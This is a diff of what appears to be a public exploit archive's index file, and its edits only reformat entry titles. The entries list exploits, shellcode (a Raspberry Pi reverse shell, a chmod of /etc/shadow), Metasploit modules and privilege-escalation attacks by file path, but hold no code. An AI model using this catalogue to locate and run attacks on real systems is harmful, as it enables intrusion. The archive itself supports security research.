 21249,platforms/cgi/remote/21249.txt,"Agora.CGI 3/4 Debug Mode Path Disclosure Vulnerability",2002-01-28,superpetz,cgi,remote,0
 21250,platforms/php/webapps/21250.txt,"Webify Blog Arbitrary File Deletion Vulnerability",2012-09-11,JiKo,php,webapps,0
-21251,platforms/php/webapps/21251.txt,"akcms v4.2.4 Information Disclosure Vulnerability",2012-09-11,L0n3ly-H34rT,php,webapps,0
+21251,platforms/php/webapps/21251.txt,"akcms 4.2.4 - Information Disclosure Vulnerability",2012-09-11,L0n3ly-H34rT,php,webapps,0
 21252,platforms/arm/shellcode/21252.asm,"[Raspberry Pi] Linux/ARM - reverse_shell(tcp,10.1.1.2,0x1337)",2012-09-11,midnitesnake,arm,shellcode,0
 21253,platforms/arm/shellcode/21253.asm,"[Raspberry Pi] Linux/ARM - execve(""/bin/sh"", [0], [0 vars]) - 30 bytes",2012-09-11,midnitesnake,arm,shellcode,0
 21254,platforms/arm/shellcode/21254.asm,"[Raspberry Pi] Linux/ARM - chmod(""/etc/shadow"", 0777) - 41 bytes",2012-09-11,midnitesnake,arm,shellcode,0
@@ -18586,12 +18586,12 @@ id,file,description,date,author,platform,type,port
 21319,platforms/aix/webapps/21319.txt,"Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF",2012-09-14,modpr0be,aix,webapps,0
 21320,platforms/windows/local/21320.pl,"Internet Download Manager All Versions SEH Based Buffer Overflow",2012-09-14,Dark-Puzzle,windows,local,0
 21323,platforms/linux/local/21323.c,"libdbus 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation",2012-07-17,"Sebastian Krahmer",linux,local,0
-21324,platforms/php/webapps/21324.txt,"LuxCal v2.7.0 Multiple Remote Vulnerabilities",2012-09-17,L0n3ly-H34rT,php,webapps,0
+21324,platforms/php/webapps/21324.txt,"LuxCal 2.7.0 - Multiple Remote Vulnerabilities",2012-09-17,L0n3ly-H34rT,php,webapps,0
 21326,platforms/windows/dos/21326.txt,"Novell Groupwise 8.0.2 HP3 and 2012 Integer Overflow Vulnerability",2012-09-17,"Francis Provencher",windows,dos,0
-21327,platforms/php/webapps/21327.txt,"webERP <=4.08.4 WorkOrderEntry.php SQL Injection Vulnerability",2012-09-17,modpr0be,php,webapps,0
+21327,platforms/php/webapps/21327.txt,"webERP <= 4.08.4 - WorkOrderEntry.php SQL Injection Vulnerability",2012-09-17,modpr0be,php,webapps,0
 21329,platforms/php/webapps/21329.txt,"Auxilium PetRatePro Multiple Vulnerabilities",2012-09-17,DaOne,php,webapps,0
 21330,platforms/php/webapps/21330.txt,"Netsweeper WebAdmin Portal Multiple Vulnerabilities",2012-09-17,"Jacob Holcomb",php,webapps,0
-21331,platforms/windows/local/21331.py,"NCMedia Sound Editor Pro v7.5.1 MRUList201202.dat File Handling Buffer Overflow",2012-09-17,"Julien Ahrens",windows,local,0
+21331,platforms/windows/local/21331.py,"NCMedia Sound Editor Pro 7.5.1 - MRUList201202.dat File Handling Buffer Overflow",2012-09-17,"Julien Ahrens",windows,local,0
 21333,platforms/windows/dos/21333.txt,"AOL Instant Messenger 4.x Hyperlink Denial Of Service Vulnerability",2002-03-01,"NtWaK0 & Recon",windows,dos,0
 21334,platforms/php/remote/21334.pl,"Cobalt RaQ 2.0/3.0/4.0 XTR MultiFileUpload.php Authentication Bypass Vulnerability (1)",2002-03-08,"Wouter ter Maat",php,remote,0
 21335,platforms/php/remote/21335.sh,"Cobalt RaQ 2.0/3.0/4.0 XTR MultiFileUpload.php Authentication Bypass Vulnerability (2)",2002-03-08,"Wouter ter Maat",php,remote,0
@@ -18677,7 +18677,7 @@ id,file,description,date,author,platform,type,port
 21415,platforms/cgi/remote/21415.txt,"CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability",2002-04-23,"Steve Gustin",cgi,remote,0
 21416,platforms/windows/dos/21416.txt,"Internet Explorer 5/6 Recursive JavaScript Event Denial of Service Vulnerability",2002-04-24,"Berend-Jan Wever",windows,dos,0
 21417,platforms/hardware/webapps/21417.py,"Thomson Wireless VoIP Cable Modem Auth Bypass",2012-09-20,"Glafkos Charalambous ",hardware,webapps,0
-21418,platforms/php/webapps/21418.txt,"Manhali v1.8 Local File Inclusion Vulnerability",2012-09-20,L0n3ly-H34rT,php,webapps,0
+21418,platforms/php/webapps/21418.txt,"Manhali 1.8 - Local File Inclusion Vulnerability",2012-09-20,L0n3ly-H34rT,php,webapps,0
 21419,platforms/windows/dos/21419.txt,"Microsoft Outlook Express 5.5 DOS Device Denial of Service Vulnerability",2002-04-24,ERRor,windows,dos,0
 21420,platforms/linux/local/21420.c,"Sudo 1.6.x Password Prompt Heap Overflow Vulnerability",2001-11-01,MaXX,linux,local,0
 21421,platforms/php/webapps/21421.txt,"PHProjekt 2.x/3.x Login Bypass Vulnerability",2002-04-25,"Ulf Harnhammar",php,webapps,0
@@ -18781,7 +18781,7 @@ id,file,description,date,author,platform,type,port
 21520,platforms/linux/remote/21520.py,"QNX QCONN Remote Command Execution Vulnerability",2012-09-25,Mor!p3r,linux,remote,0
 21521,platforms/php/webapps/21521.txt,"ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability",2012-09-25,LiquidWorm,php,webapps,0
 21523,platforms/hardware/dos/21523.txt,"Cisco DPC2100 Denial of Service",2012-09-26,"Daniel Smith",hardware,dos,0
-21524,platforms/php/webapps/21524.txt,"ViArt Shop Evaluation v4.1 Multiple Remote File Inclusion Vulnerabilities",2012-09-26,L0n3ly-H34rT,php,webapps,0
+21524,platforms/php/webapps/21524.txt,"ViArt Shop Evaluation 4.1 - Multiple Remote File Inclusion Vulnerabilities",2012-09-26,L0n3ly-H34rT,php,webapps,0
 21525,platforms/php/webapps/21525.txt,"Geeklog 1.3.5 Multiple Cross Site Scripting Vulnerabilities",2002-06-10,"Ahmet Sabri ALPER",php,webapps,0
 21526,platforms/php/webapps/21526.txt,"MyHelpDesk 20020509 Cross-Site Scripting Vulnerability",2002-06-10,"Ahmet Sabri ALPER",php,webapps,0
 21527,platforms/php/webapps/21527.txt,"MyHelpDesk 20020509 SQL Injection Vulnerability",2002-06-10,"Ahmet Sabri ALPER",php,webapps,0
@@ -18812,7 +18812,7 @@ id,file,description,date,author,platform,type,port
 21552,platforms/php/webapps/21552.txt,"PHP Classifieds 6.0.5 Cross-Site Scripting Vulnerability",2002-06-14,windows-1256,php,webapps,0
 21553,platforms/cgi/webapps/21553.txt,"Mewsoft NetAuction 3.0 Cross Site Scripting Vulnerability",2002-06-14,windows-1256,cgi,webapps,0
 21554,platforms/windows/remote/21554.txt,"Imatix Xitami 2.5 GSL Template Cross Site Scripting Vulnerability",2002-06-14,"Matthew Murphy",windows,remote,0
-21555,platforms/windows/remote/21555.txt,"Cisco Secure ACS for Windows NT 3.0  Cross-site Scripting Vulnerability",2002-06-14,"Dave Palumbo",windows,remote,0
+21555,platforms/windows/remote/21555.txt,"Cisco Secure ACS for Windows NT 3.0 Cross-site Scripting Vulnerability",2002-06-14,"Dave Palumbo",windows,remote,0
 21556,platforms/windows/dos/21556.txt,"Microsoft Internet Explorer 5/6 CSSText Bold Font Denial Of Service",2002-06-15,"Oleg A. Cheremisin",windows,dos,0
 21557,platforms/php/webapps/21557.txt,"Zeroboard 4.1 PHP Include File Arbitrary Command Execution Vulnerability",2002-06-15,onlooker,php,webapps,0
 21558,platforms/cgi/webapps/21558.txt,"My Postcards 6.0 MagicCard.CGI Arbitrary File Disclosure Vulnerability",2002-06-15,cult,cgi,webapps,0
@@ -18822,14 +18822,14 @@ id,file,description,date,author,platform,type,port
 21562,platforms/java/webapps/21562.txt,"Wolfram Research webMathematica 4.0 File Disclosure Vulnerability",2002-06-17,"Andrew Badr",java,webapps,0
 21563,platforms/php/webapps/21563.txt,"OSCommerce 2.1 Remote File Include Vulnerability",2002-06-16,"Tim Vandermeerch",php,webapps,0
 21564,platforms/php/webapps/21564.txt,"PHP-Address 0.2 e Remote File Include Vulnerability",2002-06-17,"Tim Vandermeerch",php,webapps,0
-21565,platforms/unix/local/21565.pl,"Interbase 6.0 GDS_Drop Interbase Environment Variable Buffer Overflow  (1)",2002-06-15,stripey,unix,local,0
+21565,platforms/unix/local/21565.pl,"Interbase 6.0 GDS_Drop Interbase Environment Variable Buffer Overflow (1)",2002-06-15,stripey,unix,local,0
 21566,platforms/unix/local/21566.c,"Interbase 6.0 GDS_Drop Interbase Environment Variable Buffer Overflow (2)",2002-06-18,bob,unix,local,0
 21567,platforms/cgi/webapps/21567.pl,"WebScripts WebBBS 4.x/5.0 Remote Command Execution Vulnerability",2002-06-06,"NERF Security",cgi,webapps,0
 21568,platforms/linux/local/21568.c,"Cisco VPN Client for Unix 3.5.1 Local Buffer Overflow Vulnerability",2002-06-19,methodic,linux,local,0
 21569,platforms/windows/dos/21569.txt,"MS SQL Server 2000,MS Jet 4.0 Engine Unicode Buffer Overflow Vulnerability",2002-06-19,NGSSoftware,windows,dos,0
 21570,platforms/php/webapps/21570.txt,"BasiliX Webmail 1.1 Message Content Script Injection Vulnerability",2002-06-19,"Ulf Harnhammar",php,webapps,0
 21571,platforms/irix/remote/21571.c,"SGI IRIX 6.x rpc.xfsmd Remote Command Execution Vulnerability",2002-06-20,"Last Stage of Delirium",irix,remote,0
-21572,platforms/multiple/dos/21572.txt,"Half-Life Server 1.1/3.1  New Player Flood Denial Of Service Vulnerability",2002-06-20,"Auriemma Luigi",multiple,dos,0
+21572,platforms/multiple/dos/21572.txt,"Half-Life Server 1.1/3.1 New Player Flood Denial Of Service Vulnerability",2002-06-20,"Auriemma Luigi",multiple,dos,0
 21573,platforms/cgi/webapps/21573.txt,"YaBB 1 Invalid Topic Error Page Cross Site Scripting Vulnerability",2002-06-21,methodic,cgi,webapps,0
 21574,platforms/unix/remote/21574.txt,"Pirch IRC Client 98 Malformed Link Buffer Overrun Vulnerability",2002-06-21,"David Rude II",unix,remote,0
 21575,platforms/multiple/dos/21575.txt,"Mod_SSL 2.8.x Off-By-One HTAccess Buffer Overflow Vulnerability",2002-06-22,"Frank DENIS",multiple,dos,0
@@ -18850,7 +18850,7 @@ id,file,description,date,author,platform,type,port
 21590,platforms/php/webapps/21590.txt,"PHPAuction 1/2 Unauthorized Administrative Access Vulnerability",2002-07-02,ethx,php,webapps,0
 21591,platforms/windows/remote/21591.sh,"ArGoSoft 1.8 Mail Server Directory Traversal Vulnerability",2002-07-06,"team n.finity",windows,remote,0
 21592,platforms/unix/local/21592.c,"Sun SunPCi II VNC Software 2.3 Password Disclosure Vulnerability",2002-07-03,"Richard van den Berg",unix,local,0
-21593,platforms/multiple/dos/21593.txt,"Epic Games Unreal Tournament Server 436.0  DoS Amplifier Vulnerability",2002-07-03,"Auriemma Luigi",multiple,dos,0
+21593,platforms/multiple/dos/21593.txt,"Epic Games Unreal Tournament Server 436.0 DoS Amplifier Vulnerability",2002-07-03,"Auriemma Luigi",multiple,dos,0
 21594,platforms/windows/dos/21594.pl,"WorldSpan Res Manager 4.1 Malformed TCP Packet Denial Of Service Vulnerability",2002-07-04,altomo,windows,dos,0
 21595,platforms/windows/remote/21595.c,"Nullsoft Winamp 2.80 Automatic Update Check Buffer Overflow Vulnerability",2002-07-03,Anonymous,windows,remote,0
 21596,platforms/osx/remote/21596.txt,"MacOS X 10.1.x SoftwareUpdate Arbitrary Package Installation Vulnerability",2002-07-08,"Russell Harding",osx,remote,0
@@ -18882,8 +18882,8 @@ id,file,description,date,author,platform,type,port
 21622,platforms/php/webapps/21622.txt,"PHP-Wiki 1.2/1.3 Cross-Site Scripting Vulnerability",2002-07-17,Pistone,php,webapps,0
 21623,platforms/linux/local/21623.txt,"Python 1.5.2 Pickle Unsafe eval() Code Execution Vulnerability",2002-07-17,"Jeff Epler",linux,local,0
 21624,platforms/linux/local/21624.py,"Python 1.5/1.6/2.0/2.1.x Pickle Class Constructor Arbitrary Code Execution",2002-07-17,"Jeff Epler",linux,local,0
-21625,platforms/windows/remote/21625.pl,"Trend Micro InterScan VirusWall for Windows NT 3.52  Space Gap Scan Bypass",2002-07-18,SecuriTeam,windows,remote,0
-21626,platforms/windows/remote/21626.c,"3.3/4.0/4.2  MERCUR Mailserver Control-Service Buffer Overflow",2002-07-16,Anonymous,windows,remote,0
+21625,platforms/windows/remote/21625.pl,"Trend Micro InterScan VirusWall for Windows NT 3.52 Space Gap Scan Bypass",2002-07-18,SecuriTeam,windows,remote,0
+21626,platforms/windows/remote/21626.c,"3.3/4.0/4.2 MERCUR Mailserver Control-Service Buffer Overflow",2002-07-16,Anonymous,windows,remote,0
 21627,platforms/multiple/remote/21627.txt,"Oracle Reports Server 6.0.8/9.0.2 Information Disclosure Vulnerability",2002-07-18,skp,multiple,remote,0
 21628,platforms/php/webapps/21628.txt,"Geeklog 1.3.5 HTML Attribute Cross Site Scripting Vulnerability",2002-07-19,"Ulf Harnhammar",php,webapps,0
 21629,platforms/windows/local/21629.txt,"Adobe eBook Reader 2.2 File Restoration Privilege Escalation Vulnerability",2002-07-19,"Vladimir Katalov",windows,local,0
@@ -18920,14 +18920,14 @@ id,file,description,date,author,platform,type,port
 21661,platforms/php/webapps/21661.txt,"DotProject 0.2.1 User Cookie Authentication Bypass Vulnerability",2002-07-29,pokleyzz,php,webapps,0
 21662,platforms/windows/remote/21662.txt,"Microsoft Outlook Express 6 XML File Attachment Script Execution Vulnerability",2002-07-29,http-equiv,windows,remote,0
 21663,platforms/linux/remote/21663.c,"Fake Identd 0.9/1.x Client Query Remote Buffer Overflow Vulnerability",2002-07-25,Jedi/Sector,linux,remote,0
-21665,platforms/php/webapps/21665.txt,"phptax 0.8 <= Remote Code Execution Vulnerability",2012-10-02,"Jean Pascal Pereira",php,webapps,0
+21665,platforms/php/webapps/21665.txt,"phptax 0.8 - Remote Code Execution Vulnerability",2012-10-02,"Jean Pascal Pereira",php,webapps,0
 21666,platforms/linux/local/21666.txt,"soapbox <= 0.3.1 Local Root Exploit",2012-10-02,"Jean Pascal Pereira",linux,local,0
 21667,platforms/linux/local/21667.c,"MM 1.0.x/1.1.x Shared Memory Library Temporary File Privilege Escalation Vulnerability",2002-07-29,"Sebastian Krahmer",linux,local,0
 21668,platforms/php/webapps/21668.txt,"ShoutBox 1.2 Form Field HTML Injection Vulnerability",2002-07-29,delusion,php,webapps,0
 21669,platforms/bsd/local/21669.pl,"FreeBSD 4.x,NetBSD 1.4.x/1.5.x/1.6,OpenBSD 3 pppd Arbitrary File Permission Modification Race Condition",2002-07-29,"Sebastian Krahmer",bsd,local,0
 21670,platforms/windows/remote/21670.txt,"Microsoft Windows Media Player 6/7 Filename Buffer Overflow Vulnerability",2002-07-30,ken@FTU,windows,remote,0
-21671,platforms/unix/remote/21671.c,"OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability (1)",2002-07-30,spabam,unix,remote,0
-21672,platforms/unix/remote/21672.c,"OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability (2)",2002-07-30,spabam,unix,remote,0
+21671,platforms/unix/remote/21671.c,"OpenSSL SSLv2 - Malformed Client Key Remote Buffer Overflow Vulnerability (1)",2002-07-30,spabam,unix,remote,0
+21672,platforms/unix/remote/21672.c,"OpenSSL SSLv2 - Malformed Client Key Remote Buffer Overflow Vulnerability (2)",2002-07-30,spabam,unix,remote,0
 21673,platforms/windows/dos/21673.txt,"IPSwitch IMail 6.x/7.0.x Web Calendaring Incomplete Post Denial Of Service Vulnerability",2002-07-30,Anonymous,windows,dos,0
 21674,platforms/linux/local/21674.c,"William Deich Super 3.x SysLog Format String Vulnerability",2002-07-31,gobbles,linux,local,0
 21675,platforms/windows/remote/21675.pl,"Trillian 0.x IRC Module Buffer Overflow Vulnerability",2002-07-31,"John C. Hennessy",windows,remote,0
@@ -18968,9 +18968,9 @@ id,file,description,date,author,platform,type,port
 21710,platforms/windows/remote/21710.txt,"MyWebServer 1.0.2 Long HTTP Request HTML Injection Vulnerability",2002-08-14,D4rkGr3y,windows,remote,0
 21711,platforms/windows/remote/21711.html,"Microsoft Outlook Express 5/6 MHTML URL Handler File Rendering Vulnerability",2002-08-15,http-equiv,windows,remote,0
 21712,platforms/windows/dos/21712.txt,"Google Toolbar 1.1.60 Search Function Denial Of Service Vulnerability",2002-08-15,onet,windows,dos,0
-21713,platforms/windows/local/21713.py,"Exploit: NCMedia Sound Editor Pro v7.5.1 SEH&DEP",2012-10-03,b33f,windows,local,0
+21713,platforms/windows/local/21713.py,"Exploit: NCMedia Sound Editor Pro 7.5.1 - SEH & DEP",2012-10-03,b33f,windows,local,0
 21715,platforms/php/webapps/21715.txt,"Wordpress Plugin spider calendar Multiple Vulnerabilities",2012-10-03,D4NB4R,php,webapps,0
-21716,platforms/php/webapps/21716.txt,"Omnistar Mailer v7.2 Multiple Vulnerabilities",2012-10-03,Vulnerability-Lab,php,webapps,0
+21716,platforms/php/webapps/21716.txt,"Omnistar Mailer 7.2 - Multiple Vulnerabilities",2012-10-03,Vulnerability-Lab,php,webapps,0
 21717,platforms/windows/remote/21717.txt,"Microsoft Windows XP HCP URI Handler Abuse Vulnerability",2002-08-15,"Shane Hird",windows,remote,0
 21718,platforms/windows/remote/21718.txt,"Microsoft SQL 2000/7.0 Agent Jobs Privilege Elevation Vulnerability",2002-08-15,"David Litchfield",windows,remote,0
 21719,platforms/windows/remote/21719.txt,"Apache 2.0 Path Disclosure Vulnerability",2002-08-16,"Auriemma Luigi",windows,remote,0
@@ -18993,11 +18993,11 @@ id,file,description,date,author,platform,type,port
 21736,platforms/hardware/dos/21736.txt,"LG LR3100p 1.30 Series Router IP Packet Flags Denial of Service Vulnerability",2002-08-22,"Lukasz Bromirski",hardware,dos,0
 21737,platforms/windows/dos/21737.txt,"Cyme ChartFX Client Server ActiveX Control Array Indexing Vulnerability",2012-10-04,"Francis Provencher",windows,dos,0
 21739,platforms/windows/dos/21739.pl,"JPEGsnoop <= 1.5.2 WriteAV Crash PoC",2012-10-04,"Jean Pascal Pereira",windows,dos,0
-21740,platforms/php/webapps/21740.txt,"phpMyChat Plus v1.94 RC1 Multiple Remote Vulnerabilities",2012-10-04,L0n3ly-H34rT,php,webapps,0
+21740,platforms/php/webapps/21740.txt,"phpMyChat Plus 1.94 RC1 - Multiple Remote Vulnerabilities",2012-10-04,L0n3ly-H34rT,php,webapps,0
 21741,platforms/windows/dos/21741.txt,"XnView 1.99.1 JLS File Decompression Heap Overflow",2012-10-04,"Joseph Sheridan",windows,dos,0
 21742,platforms/php/webapps/21742.txt,"Template CMS 2.1.1 Multiple Vulnerabilities",2012-10-04,"High-Tech Bridge SA",php,webapps,0
 21743,platforms/php/webapps/21743.txt,"phpMyBitTorrent 2.04 Multiple Vulnerabilities",2012-10-04,waraxe,php,webapps,0
-21744,platforms/windows/webapps/21744.txt,"Novell Sentinel Log Manager <=1.2.0.2 Retention Policy Vulnerability",2012-10-04,"Piotr Chmylkowski",windows,webapps,0
+21744,platforms/windows/webapps/21744.txt,"Novell Sentinel Log Manager <= 1.2.0.2 - Retention Policy Vulnerability",2012-10-04,"Piotr Chmylkowski",windows,webapps,0
 21745,platforms/php/webapps/21745.txt,"Achievo 0.7/0.8/0.9 Remote File Include Command Execution Vulnerability",2002-08-22,"Jeroen Latour",php,webapps,0
 21746,platforms/windows/dos/21746.c,"MS Windows 2000/NT 4/XP Network Share Provider SMB Request Buffer Overflow (1)",2002-08-22,"Frederic Deletang",windows,dos,0
 21747,platforms/windows/dos/21747.txt,"MS Windows 2000/NT 4/XP Network Share Provider SMB Request Buffer Overflow (2)",2002-08-22,zamolx3,windows,dos,0
@@ -19041,7 +19041,7 @@ id,file,description,date,author,platform,type,port
 21785,platforms/windows/dos/21785.pl,"HCView WriteAV Crash PoC",2012-10-07,"Jean Pascal Pereira",windows,dos,0
 21786,platforms/php/webapps/21786.php,"Blog Mod <= 0.1.9 (index.php, month parameter) SQL Injection",2012-10-07,WhiteCollarGroup,php,webapps,0
 21787,platforms/php/webapps/21787.rb,"MyAuth3 Blind SQL Injection",2012-10-07,"Marcio Almeida",php,webapps,0
-21788,platforms/windows/dos/21788.pl,"FastStone Image Viewer 4.6 <= ReadAVonIP Crash PoC",2012-10-07,"Jean Pascal Pereira",windows,dos,0
+21788,platforms/windows/dos/21788.pl,"FastStone Image Viewer 4.6 - ReadAVonIP Crash PoC",2012-10-07,"Jean Pascal Pereira",windows,dos,0
 21789,platforms/windows/dos/21789.txt,"Alleged Outlook Express 5/6 Link Denial of Service Vulnerability",2002-09-09,"Stefano Zanero",windows,dos,0
 21790,platforms/unix/local/21790.sh,"Cobalt RaQ authenticate Local Privilege Escalation Vulnerability",2002-06-28,"Charles Stevenson",unix,local,0
 21791,platforms/hardware/dos/21791.txt,"Enterasys SSR8000 SmartSwitch Port Scan Denial Of Service Vulnerability",2002-09-13,"Mella Marco",hardware,dos,0
@@ -19074,7 +19074,7 @@ id,file,description,date,author,platform,type,port
 21818,platforms/linux/remote/21818.c,"Null HTTPd 0.5 Remote Heap Overflow Vulnerability",2002-09-23,eSDee,linux,remote,0
 21819,platforms/windows/dos/21819.c,"Trillian 0.74 IRC Raw Messages Denial Of Service Vulnerability",2002-09-22,"Lance Fitz-Herbert",windows,dos,0
 21821,platforms/windows/dos/21821.c,"Trillian 0.74 IRC PART Message Denial Of Service Vulnerability",2002-09-22,"Lance Fitz-Herbert",windows,dos,0
-21822,platforms/multiple/webapps/21822.txt,"Endpoint Protector v4.0.4.0 Multiple Vulnerabilities",2012-10-09,Vulnerability-Lab,multiple,webapps,0
+21822,platforms/multiple/webapps/21822.txt,"Endpoint Protector 4.0.4.0 - Multiple Vulnerabilities",2012-10-09,Vulnerability-Lab,multiple,webapps,0
 21823,platforms/windows/dos/21823.c,"Trillian 0.74 IRC Oversized Data Block Buffer Overflow Vulnerability",2002-09-22,"Lance Fitz-Herbert",windows,dos,0
 21824,platforms/windows/dos/21824.pl,"Arctic Torrent 1.2.3 Memory Corruption (DoS)",2012-10-09,"Jean Pascal Pereira",windows,dos,0
 21825,platforms/php/webapps/21825.txt,"phpWebsite 0.8.2 PHP File Include Vulnerability",2002-09-23,"Tim Vandermeersch",php,webapps,0
@@ -19086,7 +19086,7 @@ id,file,description,date,author,platform,type,port
 21831,platforms/windows/local/21831.c,"PLIB 1.8.5 ssg/ssgParser.cxx Buffer Overflow",2012-10-09,"Andrés Gómez",windows,local,0
 21833,platforms/php/webapps/21833.rb,"PhpTax pfilez Parameter Exec Remote Code Injection",2012-10-10,metasploit,php,webapps,0
 21834,platforms/php/webapps/21834.rb,"phpMyAdmin 3.5.2.2 server_sync.php Backdoor",2012-10-10,metasploit,php,webapps,0
-21835,platforms/php/webapps/21835.rb,"qdPM v7 Arbitrary PHP File Upload Vulnerability",2012-10-10,metasploit,php,webapps,0
+21835,platforms/php/webapps/21835.rb,"qdPM 7.0 - Arbitrary PHP File Upload Vulnerability",2012-10-10,metasploit,php,webapps,0
 21836,platforms/linux/webapps/21836.rb,"Auxilium RateMyPet Arbitrary File Upload Vulnerability",2012-10-10,metasploit,linux,webapps,0
 21837,platforms/windows/remote/21837.rb,"InduSoft Web Studio Arbitrary Upload Remote Code Execution",2012-10-10,metasploit,windows,remote,4322
 21838,platforms/windows/remote/21838.rb,"Avaya WinPMD UniteHostRouter Buffer Overflow",2012-10-10,metasploit,windows,remote,3217
@@ -19117,7 +19117,7 @@ id,file,description,date,author,platform,type,port
 21863,platforms/php/webapps/21863.txt,"Drupal 4.0 News Message HTML Injection Vulnerability",2002-09-25,das@hush.com,php,webapps,0
 21864,platforms/php/webapps/21864.txt,"PHPWebSite 0.8.3 News Message HTML Injection Vulnerability",2002-09-25,das@hush.com,php,webapps,0
 21865,platforms/linux/local/21865.c,"Interbase 5/6 GDS_Lock_MGR UMask File Permission Changing Vulnerability",2002-09-25,grazer,linux,local,0
-21866,platforms/multiple/webapps/21866.txt,"ServersCheck Monitoring Software v9.0.12 / 9.0.14 - Stored XSS",2012-10-10,loneferret,multiple,webapps,0
+21866,platforms/multiple/webapps/21866.txt,"ServersCheck Monitoring Software 9.0.12 / 9.0.14 - Stored XSS",2012-10-10,loneferret,multiple,webapps,0
 21868,platforms/hardware/remote/21868.rb,"Apple iOS MobileSafari LibTIFF Buffer Overflow",2012-10-09,metasploit,hardware,remote,0
 21869,platforms/hardware/remote/21869.rb,"Apple iOS MobileMail LibTIFF Buffer Overflow",2012-10-09,metasploit,hardware,remote,0
 21870,platforms/linux/remote/21870.txt,"Zope 2.x Incorrect XML-RPC Request Information Disclosure Vulnerability",2002-09-26,"Rossen Raykov",linux,remote,0
@@ -19140,8 +19140,8 @@ id,file,description,date,author,platform,type,port
 21887,platforms/windows/local/21887.php,"PHP 5.3.4 Win Com Module Com_sink Exploit",2012-10-11,FB1H2S,windows,local,0
 21888,platforms/windows/remote/21888.rb,"KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability",2012-10-11,metasploit,windows,remote,0
 21889,platforms/windows/dos/21889.pl,"VLC Player <= 2.0.3 ReadAV Crash PoC",2012-10-11,"Jean Pascal Pereira",windows,dos,0
-21890,platforms/php/webapps/21890.txt,"Omnistar Document Manager v8.0 Multiple Vulnerabilities",2012-10-11,Vulnerability-Lab,php,webapps,0
-21891,platforms/php/webapps/21891.txt,"vOlk Botnet Framework v4.0 Multiple Vulnerabilities",2012-10-11,Vulnerability-Lab,php,webapps,0
+21890,platforms/php/webapps/21890.txt,"Omnistar Document Manager 8.0 - Multiple Vulnerabilities",2012-10-11,Vulnerability-Lab,php,webapps,0
+21891,platforms/php/webapps/21891.txt,"vOlk Botnet Framework 4.0 - Multiple Vulnerabilities",2012-10-11,Vulnerability-Lab,php,webapps,0
 21892,platforms/windows/local/21892.txt,"FileBound 6.2 Privilege Escalation Vulnerability",2012-10-11,"Nathaniel Carew",windows,local,0
 21893,platforms/php/webapps/21893.php,"TightAuction 3.0 Config.INC Information Disclosure Vulnerability",2002-10-02,frog,php,webapps,0
 21894,platforms/php/webapps/21894.txt,"Midicart PHP Information Disclosure Vulnerability",2002-10-02,frog,php,webapps,0
@@ -19177,7 +19177,7 @@ id,file,description,date,author,platform,type,port
 21924,platforms/asp/webapps/21924.txt,"SurfControl SuperScout Email Filter 3.5 MsgError.ASP Cross-Site Scripting Vulnerability",2002-10-08,ken@FTU,asp,webapps,0
 21925,platforms/asp/webapps/21925.txt,"SurfControl SuperScout Email Filter 3.5 User Credential Disclosure Vulnerability",2002-10-08,ken@FTU,asp,webapps,0
 21926,platforms/cgi/webapps/21926.txt,"Authoria HR Suite AthCGI.EXE Cross-Site Scripting Vulnerability",2002-10-09,Max,cgi,webapps,0
-21927,platforms/multiple/remote/21927.rb,"Metasploit < v4.4 pcap_log Plugin Privilege Escalation Exploit",2012-10-12,0a29406d9794e4f9b30b3c5d6702c708,multiple,remote,0
+21927,platforms/multiple/remote/21927.rb,"Metasploit < 4.4 - pcap_log Plugin Privilege Escalation Exploit",2012-10-12,0a29406d9794e4f9b30b3c5d6702c708,multiple,remote,0
 21929,platforms/php/webapps/21929.rb,"Project Pier Arbitrary File Upload Vulnerability",2012-10-16,metasploit,php,webapps,0
 21930,platforms/php/webapps/21930.txt,"PHPReactor 1.2.7 pl1 Browse.PHP Cross-Site Scripting Vulnerability",2002-10-10,"Arab VieruZ",php,webapps,0
 21931,platforms/php/webapps/21931.txt,"PHPBBMod 1.3.3 PHPInfo Information Disclosure Vulnerability",2002-10-10,"Roland Verlander",php,webapps,0
@@ -19287,7 +19287,7 @@ id,file,description,date,author,platform,type,port
 22037,platforms/php/webapps/22037.txt,"PHP-Nuke 5.x/6.0/6.5 BETA 1 Multiple Cross Site Scripting Vulnerabilities",2002-11-25,"Matthew Murphy",php,webapps,0
 22038,platforms/php/webapps/22038.txt,"Sisfokol 4.0 Arbitrary File Upload",2012-10-17,cr4wl3r,php,webapps,0
 22039,platforms/php/webapps/22039.txt,"Symphony CMS 2.3 Multiple Vulnerabilities",2012-10-17,Wireghoul,php,webapps,0
-22040,platforms/jsp/webapps/22040.txt,"ManageEngine Support Center Plus <=7908 Multiple Vulnerabilities",2012-10-17,xistence,jsp,webapps,0
+22040,platforms/jsp/webapps/22040.txt,"ManageEngine Support Center Plus <= 7908 - Multiple Vulnerabilities",2012-10-17,xistence,jsp,webapps,0
 22041,platforms/multiple/webapps/22041.txt,"Oracle WebCenter Sites (FatWire Content Server) Multiple Vulnerabilities",2012-10-17,"SEC Consult",multiple,webapps,0
 22042,platforms/php/webapps/22042.php,"VBulletin 2.0.x/2.2.x members2.php Cross Site Scripting Vulnerability",2002-11-25,Sp.IC,php,webapps,0
 22043,platforms/php/webapps/22043.txt,"phpBB 2.0.3 Script Injection Vulnerability",2002-11-25,"Pete Foster",php,webapps,0
@@ -19344,7 +19344,7 @@ id,file,description,date,author,platform,type,port
 22094,platforms/windows/remote/22094.rb,"ManageEngine Security Manager Plus <= 5.5 build 5505 Remote SYSTEM SQLi (MSF)",2012-10-19,xistence,windows,remote,0
 22097,platforms/php/webapps/22097.txt,"Joomla Freestyle Support 1.9.1.1447 (com_fss) SQL Injection",2012-10-19,D4NB4R,php,webapps,0
 22098,platforms/php/webapps/22098.txt,"Joomla Tags (index.php, tag parameter) SQL Injection",2012-10-19,D4NB4R,php,webapps,0
-22099,platforms/php/webapps/22099.txt,"CMSQLITE v1.3.2 Multiple Vulnerabiltiies",2012-10-19,Vulnerability-Lab,php,webapps,0
+22099,platforms/php/webapps/22099.txt,"CMSQLITE 1.3.2 - Multiple Vulnerabiltiies",2012-10-19,Vulnerability-Lab,php,webapps,0
 22100,platforms/windows/dos/22100.txt,"Internet Explorer 9 XSS Filter Bypass",2012-10-19,"Jean Pascal Pereira",windows,dos,0
